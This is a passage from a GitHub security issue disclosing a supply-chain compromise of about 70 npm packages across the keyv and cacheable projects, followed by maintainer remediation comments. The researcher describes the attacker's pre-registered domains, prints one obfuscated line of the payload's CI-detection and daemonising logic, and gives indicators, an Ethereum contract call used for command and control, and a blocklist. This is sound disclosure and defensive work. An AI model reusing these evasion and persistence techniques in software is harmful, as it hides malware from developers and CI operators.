    Two things worth flagging:

    • pypi-get.com — the operator provisioned PyPI-branded infrastructure alongside the npm one. Nothing in the npm payload references PyPI, so this is infrastructure-side evidence only, but PyPI defenders should be looking.
    • All three domains were registered within 8 seconds of each other on 2026-05-22, same registrar (Tucows), each behind a different Cloudflare nameserver pair. That is 74 days before the publish burst. Staged well in advance, not opportunistic.

    npm-cache.com and pypi-get.com share origin IP 80.179.79.171. Recording that as a hosting observation only — a residential-range IP is as consistent with a compromised host or proxy exit as with anything else, and I draw no inference about who or where the operator is.

    Liveness was deliberately not tested. No HTTP, TLS, or /router probe was sent to any of these hosts; doing so would hand the operator a source IP and reveal the analysis. Domains confirmed registered and resolving; endpoint responsiveness unknown by choice.

    5. Execution behaviour — two details that matter for response

    It daemonises on developer machines and runs inline in CI.

    if (!KpBNPx() && b4QPoj()) process.exit(0);

    KpBNPx() detects CI across ~30 vendors (CI, TRAVIS, APPVEYOR, GITHUB_ACTIONS, BUILD_BUILDURI, …). Off CI, b4QPoj() re-spawns detached with _NODE_RUNTIME_INIT=1 and the foreground process exits 0 — npm install looks instant and clean while the payload lives on. In CI it does not daemonise, because a backgrounded process would die with the job.

    It ignores SIGINT and SIGTERM. Both handlers are set to no-ops. Ctrl-C will not stop it; you have to kill the PID.

    6. Detection

    The durable indicator is the contract, not the domains — the operator rotates domains with a single transaction and no repackaging:

    eth_call to 0xE1f2395ee43e45A1556EC6438a88c31B83493103, data 0x53ed5143
    

    Domain-independent network signal: unexpected Ethereum JSON-RPC (eth_call) egress from a CI runner or developer laptop. Build machines have no reason to talk to Ethereum.

    Blocklist:

    npm-cache.com
    pypi-get.com
    js-mirror.com
    80.179.79.171
    

    Registrar abuse contact for all three: [email protected] (Tucows, IANA ID 69).

    7. Registry status as of 2026-08-04 11:31Z — scope is 70 packages, not 10

    My original report described ten packages. The confirmed scope is 70 affected packages across two organisations.

    5 of 70 no longer have the poisoned version present in the registry — [email protected], [email protected], [email protected], [email protected], [email protected]. To be precise about what was measured: the version is absent from the packument, so this is not merely a deprecation or a dist-tag rollback. I can't tell from outside whether the maintainer or npm removed it.

    65 remain installable, with the poisoned version still on latest. Notably every removal so far is an unscoped package: all four @cacheable/* scoped packages, [email protected], and [email protected] are still poisoned. If cleanup is being worked from a list, the scoped packages look like they were missed.

    I also enumerated every package under the involved maintainer accounts (157 unique) and checked every published version for the install marker — no additional poisoned packages beyond the known set as of that timestamp.


    Everything else in the report above stands. The corrections are specific to the ESLint dependency path and the geofence claim; the payload analysis, IOCs, dead-man's switch, and disclosure timeline are unchanged.

    Reported by Lidor Machluf / Upwind Security

  4. MBeggiato commented on Aug 4, 2026

    @MBeggiato

    Thanks for the analysis! This will get interesting...

  5. jaredwray commented on Aug 5, 2026

    @jaredwray
    Owner
  6. jaredwray commented on Aug 5, 2026

    @jaredwray
    Owner
  7. changed the title [-][SECURITY] Supply-chain compromise: 10 packages across jaredwray/keyv + jaredwray/cacheable, all still latest on npm (~515M dl/wk) - full payload analysis[/-] [+][SECURITY] Supply-chain compromise: 10 packages across jaredwray/keyv + jaredwray/cacheable[/+] on Aug 5, 2026
  8. jaredwray commented on Aug 5, 2026

    @jaredwray
    Owner

    Thank you to @LidorMachluf and Upwind Security for the detailed investigation and continued updates. CC: @CharlieEriksen, @mahihyd9-hash

    We have completed the following remediation for jaredwray/cacheable:

    The removed npm versions were:

    The active source and npm distribution are now clean, with no known payload indicators remaining. The malicious release object is being removed separately, and we are asking GitHub Support to permanently purge commit 893f73f5082d08eedc777329de3e90a6b7ab365f, its release archives, Actions artifacts, and cached references.

    The related Keyv remediation is tracked in [jaredwray/keyv#2051](jaredwray/keyv#2051). We will keep publishing disabled until the remaining GitHub cleanup and account review are complete.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions